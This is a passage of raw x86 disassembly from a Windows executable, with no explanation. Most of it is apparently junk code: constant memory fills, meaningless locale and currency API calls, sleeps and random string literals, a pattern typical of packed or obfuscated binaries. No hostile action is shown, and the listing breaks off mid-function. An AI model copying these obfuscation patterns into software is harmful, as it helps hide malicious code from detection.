test edx, edx
je 0x409545
mov eax, 0xbabababa
mov edi, edx
mov ecx, 0x108
rep stosd dword es:[edi], eax
mov eax, 0x1e1e1e1e
mov edi, edx
mov ecx, 0x61
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0xf3
mov eax, 0x4e4e4e4e
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x22
mov eax, 0xaeaeaeae
rep stosd dword es:[edi], eax
push edx
stosw word es:[edi], ax
call fcn.0040d9eb
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov esi, 3
mov byte [ebp - 0x134], 0
xor eax, eax
mov ecx, 0x19
lea edi, [ebp - 0x133]
rep stosd dword es:[edi], eax
push str.Yiaoaomiew
push str.Bhjogoeeao
push str._s_Gived__s_Xbgi_Xiez
stosw word es:[edi], ax
lea ecx, [ebp - 0x134]
push 0x67
push ecx
stosb byte es:[edi], al
call fcn.0040db84
add esp, 0x14
dec esi
jne 0x409550
push 0x11
push str.Ceuobodeaayenaiihaujuafefwuetoqshrnekiiviukabeboudieqoxqaasiqoyuziioolsexurabajoayuonioofodiiiwutanhleqoaayiluuuualeeosiiukofophiitiktaaeaquauzoauhrkoieearebfoegeroyujozhyuoaiterjidesyueujbsjeauotvuysjhnennzirovmtptureaueuwzrruexaqiciueubtoqohvsofmleyovaoaceftipvujideyovbiozueaeepiqouiheeaiikia
push 0xd
push str.Tdtosafchaheweauyooagzfejoatzenzkqriyosiiivgzitaioaafehzuubueiuiduoeyadismbeiosooiuoumibdugatilauajzriototkirjwxyosjihauiecifoqaxevurhaikuqacatatuuenomuenmoieiotezyrvfavrfawofoirzemvacmipooazuntaudicadonayimexuloalpudizynibxowkojdexpeuybofixismsigkezqoeizhtebniefulnnubuweeubieaneairiea
push 1
push 0x800
call dword [sym.imp.KERNEL32.dll_CompareStringA]
push str.Jwoqcaoeakoiueimseidcobedueeeeeoipqiwcpzmepuuopupukiredelibesjjjnuyeelwakzoofujcxiqovdaumugefakuxuoacaxgquyidojmzahmoaquknpfcuguibgorioaqozibaaalfcxuioiaboajkeemuiapufutvowiiaapvnuoeeozixvdobivaejeouiepviyooemeeeuoxereviiajkouriepatuisviamabiielejsmlaiuoaajabebojisefpoaifieyuhqoudalalgjaepeubulooibaiauwfemaaqfiuuomzicjbefeepmxmanecujidavowuycuhtikuuooacokebigooeuuiumrtoboussuamaodiiutunutrunniziabzeyeouhueeuulazdoixaticeziyaiklumiiuwasriojiriiiuijeuepabueieojpuxwudzymguhternoweuoouzijaxaeivanefaucsomsnunapeioiebecinetxvuziffoahifujoxafkotmurwwejuxaxooonufejozeeepueiohsatomaxi
push 0x16f
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
xor esi, esi
mov word [ebp - 0x5b88], si
xor eax, eax
push 0x516
mov ecx, 0x28a
lea edi, [ebp - 0x5b86]
rep stosd dword es:[edi], eax
lea edx, [ebp - 0x5b88]
push edx
push 0xc
push 0x800
stosw word es:[edi], ax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov eax, dword [ebp - 0x7b80]
mov ecx, dword [eax + 0x28]
mov eax, dword [ebp - 0x7b84]
push 0xcee2
push 0x41f734
add ecx, eax
push 0x41f730
mov dword [ebx + 0xb0], ecx
push str.Aauu
mov word [ebp - 0xc54], si
xor eax, eax
mov ecx, 0x1d
lea edi, [ebp - 0xc52]
push 0xb8b6
rep stosd dword es:[edi], eax
push str.Reuuyohuuo__d_Fkap__s_Rskeuu__s_Nb_Viaupev__s_Hnaaeadl_Tieopoouub__d_Bisrvij
lea edx, [ebp - 0xc54]
push 0x3b
push edx
stosw word es:[edi], ax
call fcn.0040d97b
push 0x5b8
call fcn.0040db03
mov edx, eax
add esp, 0x24
cmp edx, esi
je 0x409671
mov edi, edx
mov ecx, 0x26
mov eax, 0x47474747
rep stosd dword es:[edi], eax
push edx
stosw word es:[edi], ax
call fcn.0040d9eb
add esp, 4
push 0x3f0
call fcn.0040db03
mov edx, eax
add esp, 4
cmp edx, esi
je 0x4096ee
mov edi, edx
mov ecx, 0x64
mov eax, 0x54545454
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x55
mov eax, 0x4a4a4a4a
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x8f
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x66
mov eax, 0xd1d1d1d1
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0xe2
mov eax, 0x84848484
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x5f
mov eax, 0x2c2c2c2c
rep stosd dword es:[edi], eax
push edx
stosw word es:[edi], ax
call fcn.0040d9eb
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x7b88], 8
mov edi, edi
mov edi, 2
call esi
dec edi
mov dword [0x6e9a00], eax
jne 0x409705
dec dword [ebp - 0x7b88]
jne 0x409700
push 0x384
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x409782
mov edi, edx
mov ecx, 0xa1
mov eax, 0xfdfdfdfd
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0xc4
mov eax, 0x6b6b6b6b
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x37
mov eax, 0x7d7d7d7d
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, 0x78787878
mov edi, edx
mov ecx, 0xb3
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0xcb
mov eax, 0xb8b8b8b8
rep stosd dword es:[edi], eax
push edx
stosw word es:[edi], ax
call fcn.0040d9eb
add esp, 4
push 0x13b
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x4097af
mov edi, edx
mov ecx, 0x34
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
push str.Asuofonfi
push 0x41f674
xor eax, eax
push str.Ziwiuosfeo
mov byte [ebp - 0x188], 0
mov ecx, 0xb
lea edi, [ebp - 0x187]
rep stosd dword es:[edi], eax
push 0x41f664
push str.Louujevkje
push str._s_Ziz_Lee__s_Odxb_Gaaahehgi__s_L_J__s_Duutgo_Fm__s_Wqgomoeia_U_Foou
stosb byte es:[edi], al
lea eax, [ebp - 0x188]
push 0x2d
push eax
call fcn.0040db84
push 0x1dd6
push str.Kqonjiuu
mov ecx, 0x1e
mov esi, str.Lfrapuseeehoveeudoafofkemooujetzzbbayboeyoauzayecimubanugek
lea edi, [ebp - 0x2d4]
push str._s_Audkkuhao_Veo__d_Pubhdiei
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x2d4]
push 0x3b
push ecx
call fcn.0040d97b
mov edx, dword [ebp - 0x7b98]
add esp, 0x34
push ebx
push edx
call dword [0x6e9940]
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0xcd8f
push 0x5a20
push str.Ppoooebpmv
push 0xd390
push 0x426dac
xor eax, eax
push 0x3579
mov dword [ebp - 0x13], eax
push str._d_Jexwla_Qbmizugoji__s_Huaanie__d_Baoaru__s_Uu__d_Oic__d_Alobo
mov dword [ebp - 0xf], eax
lea ecx, [ebp - 0x14]
mov dword [ebp - 0xb], eax
push 0xd
push ecx
mov byte [ebp - 0x14], 0
mov byte [ebp - 7], al
call fcn.0040db84
push 0xe79
push 0x41f4f4
mov byte [ebp - 0x5e0], 0
xor eax, eax
mov ecx, 0xe
lea edi, [ebp - 0x5df]
push 0x883f
rep stosd dword es:[edi], eax
push str._d_Iouukefefo_Txiegubgy_Bufefo__s_Suyeluuiwe_Vhhuwodsz__d_Uuaxna_Nyoqpigle
lea edx, [ebp - 0x5e0]
push 0x3a
push edx
stosw word es:[edi], ax
call fcn.0040db84
add esp, 0x3c
push 0xe1
push str.Ceuobodeaayenaiihaujuafefwuetoqshrnekiiviukabeboudieqoxqaasiqoyuziioolsexurabajoayuonioofodiiiwutanhleqoaayiluuuualeeosiiukofophiitiktaaeaquauzoauhrkoieearebfoegeroyujozhyuoaiterjidesyueujbsjeauotvuysjhnennzirovmtptureaueuwzrruexaqiciueubtoqohvsofmleyovaoaceftipvujideyovbiozueaeepiqouiheeaiikia
push 0
push 0
push 2
push 0x800
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
push 0x121
push str.Fefjuaeedgkatgbxkeiasijenqkhaokaoekutplbmenstvwaboiolazaoejigoaonadodegopwvlxixewpfohoaiwutiiaaeepaiooxeewruhteaqefozwzobgjacozuhfuokpnhoeudthwobiuvqivaozoanaaehabuiicapraogotoapiimjkuvehuezsoiquoyeiubhkamsovgarieltukouweoreaikubagetepeugqogiwleixoeamewvsgdeioeejujauiiaqaudqajeiiraeieskumoacxiahpolubeiogakdbioacmcuouajeqkebeuanihiwetaaxaedeztcjburivptadiuxmiammjcumaitculbuxlucljooiuoroyublufbituoceufaoitevbionugicsyeeeaulifoxesieiovmooiaiholiaodedaoeeumaiueilaijqeeosevucauauabibewovailresauiousoqjgoykljsedpemdopnorcufieaiihexeuafaoemeiuineuzbludadsqaquwgukbuiaoiteeaageidejenufxbevozozfbeteuaeexouijeioisbivpaozunecoealonehineiacetaquyuc
push 0
push 0
push 2
push 0x800
mov dword [0x6e9a14], eax
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
mov ecx, 0x9a
mov esi, str.Geaoyotukouiweeixafiuetihoenzamyziqihxiakejuzozunmmejegpecmiefgikieiyclaiaerfogeolbubyjizogeueponeoohaefgxlitsbopetyxmqoneuiieheaasadikkqegiijuomituoepmeprahgiuxeqpemliaaeomaofgzzotbuisuboogxayamzfuvufuhugccnbuvotovarjuoqaueeuuofwfhkoilacqitpfaluhoxemamyuenotkiopiygiiqogakxwujozocasiuzboeamewirvyodujefecoui
lea edi, [ebp - 0x2968]
push 0x1e7
rep movsd dword es:[edi], dword [esi]
push str.Auaogessoviowornguoqynvoubfapibiiolaeueodikuifvuaaufxusapohuyeiarahpirhiybtafidqyipauooulortxiqajeuqdugarulemgozgeloeoiuehoejelueltikofiaaheduqegfeqaokuiowaioaewayyofmukabeaupfyupiheeztaqonapeewpooeviooeinkemuoxequziheoqhuxemzeakuvenajaoipatiojqodraepoofiayepecehovxumcajpkakubnesnozikwhahiivmudeuzaaewbareciousoqeximiibguxedmmoaueuxamiiipvkecihagaxoaqmopiiuveuiexmazeeoganlpunuooemtotasazitisqiihoaalictvefeweidqufheznahiqppukbiikeuadgretfzdzovionpefohusubenimoucozeesayiieifolsiwkooualpqoaaiyiawaplzuaoguuicopaqxioovueyeidoadiby
push 0
mov dword [0x6e9a24], eax
lea eax, [ebp - 0x2968]
push eax
push 0
push 0x800
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatW]
mov ecx, 0x1b
mov esi, str.Qaeswexucldezbqadiijutaaqztaaetypsfediqabiuuiehasoeifoqdbioafnqxvalmeaqeluuwxednnohibxoouobukdaepzdinoesuame
lea edi, [ebp - 0x564]
rep movsd dword es:[edi], dword [esi]
push 0x41f1c4
push 0xa875
push str.Yuaoo__d_Sp__s_Gwaikune_Joouioxig
lea ecx, [ebp - 0x564]
push 0x6c
push ecx
mov dword [0x6e9a24], eax
movsb byte es:[edi], byte [esi]
call fcn.0040db84
add esp, 0x14
mov esi, 4
jmp 0x409970
push str.Bomqeookuo
mov byte [ebp - 0x12c], 0
xor eax, eax
mov ecx, 0x17
lea edi, [ebp - 0x12b]
push 0x3d33
rep stosd dword es:[edi], eax
push str._d_Kueydak_Ezaibopoin__s_Qioyhiqro_Febeoi
lea edx, [ebp - 0x12c]
push 0x5d
push edx
stosb byte es:[edi], al
call fcn.0040db84
add esp, 0x14
dec esi
jne 0x409970
mov eax, dword [ebp - 0x7b98]
push eax
call dword [0x6e99dc]
cmp eax, 0xffffffff
je 0x409d21
push 0x40c
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x409a36
mov edi, edx
mov ecx, 0xcd
mov eax, 0xdddddddd
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, 0x91919191
mov edi, edx
mov ecx, 0x39
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0xe6
mov eax, 0xf5f5f5f5
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0xcf
mov eax, 0x7e7e7e7e
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0xa5
mov eax, 0xe8e8e8e8
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x43
mov eax, 0xb4b4b4b4
rep stosd dword es:[edi], eax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
mov esi, 3
jmp 0x409a40
push 0x24b
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x409a7b
mov edi, edx
mov ecx, 0x62
mov eax, 0x86868686
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x61
mov eax, 0xf4f4f4f4
rep stosd dword es:[edi], eax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
dec esi
jne 0x409a40
mov ebx, 8
jmp 0x409a90
mov ecx, 0x1b
mov esi, str.Mpiuxexefrvuxzumbesoueeegaleuotzomponeiinadjuujoxpiefoqoefuiaoauviohiifeyevihecaauoadkldbomlrdyodlafguruaipu
lea edi, [ebp - 0x1fc]
rep movsd dword es:[edi], dword [esi]
push str.Lseoredh
push 0x41f0e4
push 0x439
push str._d_Au__s_Eeh_Ihua_Auoobih__s_Bomgaorai_Vvbivo
lea ecx, [ebp - 0x1fc]
push 0x6c
push ecx
movsb byte es:[edi], byte [esi]
call fcn.0040db84
add esp, 0x18
dec ebx
jne 0x409a90
call dword [sym.imp.KERNEL32.dll_GetACP]
push 0xfffffffffffffff5
mov dword [0x6e9a44], eax
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0x11e
push str.Faeuvipeoocadrlebaeohajetgeaoovzjydioyerhubvoumigoeulacaseneoetkieniaitukiaoqiopioviqiqaqieoealifoaomebiflyeibtukiakeipoozwiaiauwieiuaenkoneatpiwjeomuaaaikezeokqireyuaotoaylepacocedirexaeueluixcimaaigeaqeseaqpamapegouoeolidpixeeheoecieuaudejllfcukbvojuunuexiceoeaieuuueihfeadognaskutaatfavouoaemfodpovztytaspuieihfheeedbauausoylaodyaekeeuuooaskiexomaliaigaaoreemtkmizrnoeavununukyvajuaoejzaqmobnoiecagilroabogaewheziaeseukaeeuhauifuwyepbuviezpoyezuaioovuduwvameuffyeeohzebhiinueoizwj
push 0
lea edx, [ebp - 0x26fc]
push edx
push 0
mov ecx, 0x8c
mov esi, str.Vraexajoykroyoalouvazwoueeuidetififuhicakimoigyofueazowwkayudaesainnodgisielgambiimeraejqoebmulueiecvemaeuzitazusuloyzwojabuaosihirayheejegaiejaezrhtohciogususejumualtamsoomapieouakevozudukaeotluzlereeimaletvnuyiiacedatxzajuoatebatydoceuaeayposaenijozetooeauefemuoocuonaweqwbuley
lea edi, [ebp - 0x26fc]
push 0x800
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatW]
mov dword [0x6e9a14], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
xor eax, eax
mov word [ebp - 0x12ec], 0
mov ecx, 0x38
lea edi, [ebp - 0x12ea]
rep stosd dword es:[edi], eax
push str.Xizkroi
push 0xde9f
push str.Jb__d_Reouva_Wkoi_Jai__s_Hiaej
stosw word es:[edi], ax
lea eax, [ebp - 0x12ec]
push 0x71
push eax
call fcn.0040d97b
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrencyFormatA]
add esp, 0x14
mov esi, 2
push 0x1ba
mov byte [ebp - 0x15f4], 0
xor eax, eax
mov ecx, 0x6e
lea edi, [ebp - 0x15f3]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x15f4]
push ecx
push 0
push str.Kzhxquqakafeyepavopawemiteijterascrurawclowjdalafzfepewavuriqdulhodeajguroyluiluozdegiqamajndfxovolenibonoqerudavagkfqlileiooorraooitjzlnacuujfubjgudueaoeteoetvwihetsdexhuvteaioumaaoauweftoncimhiegintigsomipvsofyjyfouizigucseeruwfiiwuyidawavoaeqejueiwacnafzutovizataaofeyjadrayixuoumuavhevoohtobeiahoeayisuvaeixetaapwiqswdlotioldenoaeuaoolpdaxtyreoyeoawautvalelexinumiuueewakubejoiqbagooeieuieopixiiugozemyyacjzdborvbozazivsfeiyoseusueohukexuiaousxfaabuehamtyiqoiiesuetieajuneogeedapatiiaaajuadoqlooicbvajuiedoajiagutieqxareiuyeladkbelvnijoxaeasewgelouyuigluqggisusymdueuqoiuoiovemurbnwvibiuuwolcuajupoxdpaueiuhoxgaouopaondihurkmeoduiciszulfivirjsebecqbesiiswoeaeayepuqqyuwxflgijajwgoukeeseliiaeaunotniknaeneccophofatoioteudeagakaqirusiouluewlugukltalbsamubwaxxitfooxoviueseprttmarkiobatpieiocaialubnfiriotehaoxouc
push 0
push 0x800
stosb byte es:[edi], al
call ebx
dec esi
mov dword [0x6e9a14], eax
jne 0x409b60
mov edx, dword [ebp + 0xc]
push edx
call fcn.0040d9eb
add esp, 4
mov ebx, 3
lea esp, [esp]
mov ecx, 0xd
mov esi, str.Iefzcuhwuoxiocgywazeuupano
lea edi, [ebp - 0x1c8]
rep movsd dword es:[edi], dword [esi]
push str.Vctimizxrb
push str.Foup
push str._s_Il_Xiu__s_Ztuc
lea eax, [ebp - 0x1c8]
push 0x1a
push eax
movsw word es:[edi], word [esi]
call fcn.0040d97b
add esp, 0x14
dec ebx
jne 0x409bb0
push str.Cwlsg
push str.Muibzuxoq
mov byte [ebp - 0x1d8], 0
xor eax, eax
mov ecx, 0x11
lea edi, [ebp - 0x1d7]
rep stosd dword es:[edi], eax
push str.Neououvyos
push str.Va__s_Ctguc_Kov_Jreujahio__s_Hamayei__s_Ghenoukta
lea ecx, [ebp - 0x1d8]
push 0x45
push ecx
stosb byte es:[edi], al
call fcn.0040db84
push 0xd803
push 0x41ed08
push 0x154a
push str._d_Esvd__s_Yxaxto__d_Yanjwifuvw_Uoazaijooi
lea edx, [ebp - 0x110]
push 0x21
mov ecx, 0x11
mov esi, str.Wkeejiugirqeaeoufayjlqzisusozunea
lea edi, [ebp - 0x110]
push edx
rep movsd dword es:[edi], dword [esi]
call fcn.0040d97b
add esp, 0x30
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 0x3e7
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x409ca7
mov edi, edx
mov ecx, 0x49
mov eax, 0x11111111
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov eax, 0x9e9e9e9e
mov edi, edx
mov ecx, 0xbf
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x23
mov eax, 0xb0b0b0b
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
mov ecx, 0x1a
mov esi, str.Aacoaubauoniqvfvpancioyertlhvuzoqedotoogpaupoudaxuqxroardiuaonovioqiiuieebumnuqaiccaeuoiuuuaaixebizhuibne
lea edi, [ebp - 0x560]
rep movsd dword es:[edi], dword [esi]
push str.Niiucaya
push 0xe906
push 0xe94d
push str._d_Vaovoi_Egma__d_Juyueik__s_Bj_Xituieejp
lea eax, [ebp - 0x560]
push 0x69
push eax
movsw word es:[edi], word [esi]
call fcn.0040db84
add esp, 0x18
push 0x4d
push str.Fefjuaeedgkatgbxkeiasijenqkhaokaoekutplbmenstvwaboiolazaoejigoaonadodegopwvlxixewpfohoaiwutiiaaeepaiooxeewruhteaqefozwzobgjacozuhfuokpnhoeudthwobiuvqivaozoanaaehabuiicapraogotoapiimjkuvehuezsoiquoyeiubhkamsovgarieltukouweoreaikubagetepeugqogiwleixoeamewvsgdeioeejujauiiaqaudqajeiiraeieskumoacxiahpolubeiogakdbioacmcuouajeqkebeuanihiwetaaxaedeztcjburivptadiuxmiammjcumaitculbuxlucljooiuoroyublufbituoceufaoitevbionugicsyeeeaulifoxesieiovmooiaiholiaodedaoeeumaiueilaijqeeosevucauauabibewovailresauiousoqjgoykljsedpemdopnorcufieaiihexeuafaoemeiuineuzbludadsqaquwgukbuiaoiteeaageidejenufxbevozozfbeteuaeexouijeioisbivpaozunecoealonehineiacetaquyuc
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
push 0x111
push str.Fefjuaeedgkatgbxkeiasijenqkhaokaoekutplbmenstvwaboiolazaoejigoaonadodegopwvlxixewpfohoaiwutiiaaeepaiooxeewruhteaqefozwzobgjacozuhfuokpnhoeudthwobiuvqivaozoanaaehabuiicapraogotoapiimjkuvehuezsoiquoyeiubhkamsovgarieltukouweoreaikubagetepeugqogiwleixoeamewvsgdeioeejujauiiaqaudqajeiiraeieskumoacxiahpolubeiogakdbioacmcuouajeqkebeuanihiwetaaxaedeztcjburivptadiuxmiammjcumaitculbuxlucljooiuoroyublufbituoceufaoitevbionugicsyeeeaulifoxesieiovmooiaiholiaodedaoeeumaiueilaijqeeosevucauauabibewovailresauiousoqjgoykljsedpemdopnorcufieaiihexeuafaoemeiuineuzbludadsqaquwgukbuiaoiteeaageidejenufxbevozozfbeteuaeexouijeioisbivpaozunecoealonehineiacetaquyuc
push 0
push str.Fefjuaeedgkatgbxkeiasijenqkhaokaoekutplbmenstvwaboiolazaoejigoaonadodegopwvlxixewpfohoaiwutiiaaeepaiooxeewruhteaqefozwzobgjacozuhfuokpnhoeudthwobiuvqivaozoanaaehabuiicapraogotoapiimjkuvehuezsoiquoyeiubhkamsovgarieltukouweoreaikubagetepeugqogiwleixoeamewvsgdeioeejujauiiaqaudqajeiiraeieskumoacxiahpolubeiogakdbioacmcuouajeqkebeuanihiwetaaxaedeztcjburivptadiuxmiammjcumaitculbuxlucljooiuoroyublufbituoceufaoitevbionugicsyeeeaulifoxesieiovmooiaiholiaodedaoeeumaiueilaijqeeosevucauauabibewovailresauiousoqjgoykljsedpemdopnorcufieaiihexeuafaoemeiuineuzbludadsqaquwgukbuiaoiteeaageidejenufxbevozozfbeteuaeexouijeioisbivpaozunecoealonehineiacetaquyuc
push 0
push 0x800
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatW]
pop edi
pop esi
mov dword [0x6e9a14], eax
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
call fcn.00411d12
mov esp, ebp
pop ebp
ret
push 0xbe
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x409d7e
mov edi, edx
mov ecx, 0xb
mov eax, 0x5c5c5c5c
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, 0x7b7b7b7b
mov edi, edx
mov ecx, 0x11
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x15
mov eax, 0x8e8e8e8e
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x2a
mov eax, 0xd0d0d0d0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
push 0xe07d
mov ecx, 0x19
mov esi, str.Ntiopanojbgaieepqokiilgimauwcolaoneinsuixulyiwoewaaaqiwtteaauinnveppsiaeyicseoluealaureemoqugaooyiiu
lea edi, [ebp - 0xfd8]
rep movsd dword es:[edi], dword [esi]
push 0x63d1
push 0x1be2
push 0xf5c7
push str._d_Ieuusab__d_Qiemuodo__d_Ciilwi__d_Vcodouvpl_Qsew
lea ecx, [ebp - 0xfd8]
push 0x64
push ecx
movsb byte es:[edi], byte [esi]
call fcn.0040db84
add esp, 0x1c
push 2
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [ebp - 0x515c], 0
xor eax, eax
mov ecx, 0x17d
lea edi, [ebp - 0x515b]
rep stosd dword es:[edi], eax
push 0x5f8
lea edx, [ebp - 0x515c]
push edx
stosw word es:[edi], ax
push 0xc
push 0x800
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
xor eax, eax
mov byte [ebp - 0x2324], 0
mov ecx, 0x71
lea edi, [ebp - 0x2323]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x1c8
stosb byte es:[edi], al
lea eax, [ebp - 0x2324]
push eax
push 0
push str.Hoeueuouiifiufcetocbaobeuoouaibfzunukoqpleqehipahoralavuvsaomlzhqivnkaqadfmaaoaleagejgpzvevprhkukiiyhapjcioeqaoqcepvfjcutoexdexolguomehubaceaareqraayetiafgulauwhiguiewokoeanorgaokahetebetebvuebkxixacveevuiijgouthiijayyeaueseaqfeajonmaxooowaaowhreffumsucxriligleagofivukebixohamgenoihaevhisoolgiitiowugeoneoriutxocfboaihupshukelumupiucoupucogirouqaaeuigxubxohzieuuamisaoawemqkayekubocoevtaueawdxbakaeahajacinukeeeeamiurkamezbcofuceuujniieijimabenqhixoyaeozekunqyioeyfvojkeouiyopaburuuatacoiaoakwyezeuuvxtitvuufazueinevazkcuvioejokaciiacueyiucuiivehaaqvuueeowuviawkawooafisocezucsobjuleahfevaiataleeyyuugvohehioazesxmmqurguoaeaeaorecalaworubeqafierkieoiaaizaakxuueohqudlaoxineyibibztaiuqaaocevuiuzeoqoiseujragizqvadidizqgepeiugomkzejueduiaakigagahsoauaeokkeixybqvoeametaruoaeokyioyuaezowemiebxeievubofuajoareoumalvumvofjupfumaaajerikaoayxuzpalaivmirpowwuqiotceieuikehjvnooaiboiueofenoxhaiuapuamnogmyrdafvvoleeekixavfaaiijidozamietdottldhevuegwoqooiaojrzozoxisduaamauzijopusexegksihkr
push 0
push 0x800
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatA]
mov ebx, dword [sym.imp.KERNEL32.dll_CompareStringW]
mov ecx, 8
mov esi, 0x41eb48
lea edi, [ebp - 0x4f4]
rep movsd dword es:[edi], dword [esi]
push 0x11
lea ecx, [ebp - 0x4f4]
push ecx
push 0xc
push str.Auaogessoviowornguoqynvoubfapibiiolaeueodikuifvuaaufxusapohuyeiarahpirhiybtafidqyipauooulortxiqajeuqdugarulemgozgeloeoiuehoejelueltikofiaaheduqegfeqaokuiowaioaewayyofmukabeaupfyupiheeztaqonapeewpooeviooeinkemuoxequziheoqhuxemzeakuvenajaoipatiojqodraepoofiayepecehovxumcajpkakubnesnozikwhahiivmudeuzaaewbareciousoqeximiibguxedmmoaueuxamiiipvkecihagaxoaqmopiiuveuiexmazeeoganlpunuooemtotasazitisqiihoaalictvefeweidqufheznahiqppukbiikeuadgretfzdzovionpefohusubenimoucozeesayiieifolsiwkooualpqoaaiyiawaplzuaoguuicopaqxioovueyeidoadiby
push 1
push 0x800
movsw word es:[edi], word [esi]
call ebx
push 0x5cc
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x409ee0
mov edi, edx
mov ecx, 0x168
mov eax, 0x4c4c4c4c
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, 0xe5e5e5e5
mov edi, edx
mov ecx, 0x56
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x16
mov eax, 0xa9a9a9a9
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0xda
mov eax, 0x13131313
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
mov eax, 0xc4c4c4c4
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
mov dword [ecx + 0x10], eax
mov dword [ecx + 0x14], eax
mov dword [ecx + 0x18], eax
mov dword [ecx + 0x1c], eax
mov dword [ecx + 0x20], eax
push edx
mov byte [ecx + 0x24], al
call fcn.0040d9eb
add esp, 4
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 9
jmp 0x409ef0
push 5
call edi
dec esi
jne 0x409ef0
push 0x3197
push 0x4c89
push 0x87c3
mov word [ebp - 0x77c], 0
xor eax, eax
mov ecx, 0x10
lea edi, [ebp - 0x77a]
push 0x41eb44
rep stosd dword es:[edi], eax
push str._s_Geiuwoebj__d_Kaok_Zni__d_Bomkritoq_Gxaanoe__d_Zi_Movu
lea edx, [ebp - 0x77c]
push 0x21
push edx
stosw word es:[edi], ax
call fcn.0040d97b
mov eax, dword [ebp - 0x7b94]
push eax
call fcn.00406950
push 0x15a
call fcn.0040db03
mov edx, eax
add esp, 0x24
test edx, edx
je 0x409fa3
mov edi, edx
mov ecx, 0x52
mov eax, 0xf9f9f9f9
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x30
mov eax, 0xfafafafa
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, edx
mov ecx, 0xa9a9a9a9
mov dword [eax], ecx
mov dword [eax + 4], ecx
mov word [eax + 8], cx
mov byte [eax + 0xa], cl
mov edi, edx
mov ecx, 0x1e
mov eax, 0x73737373
rep stosd dword es:[edi], eax
push edx
stosw word es:[edi], ax
call fcn.0040d9eb
add esp, 4
push 0x13
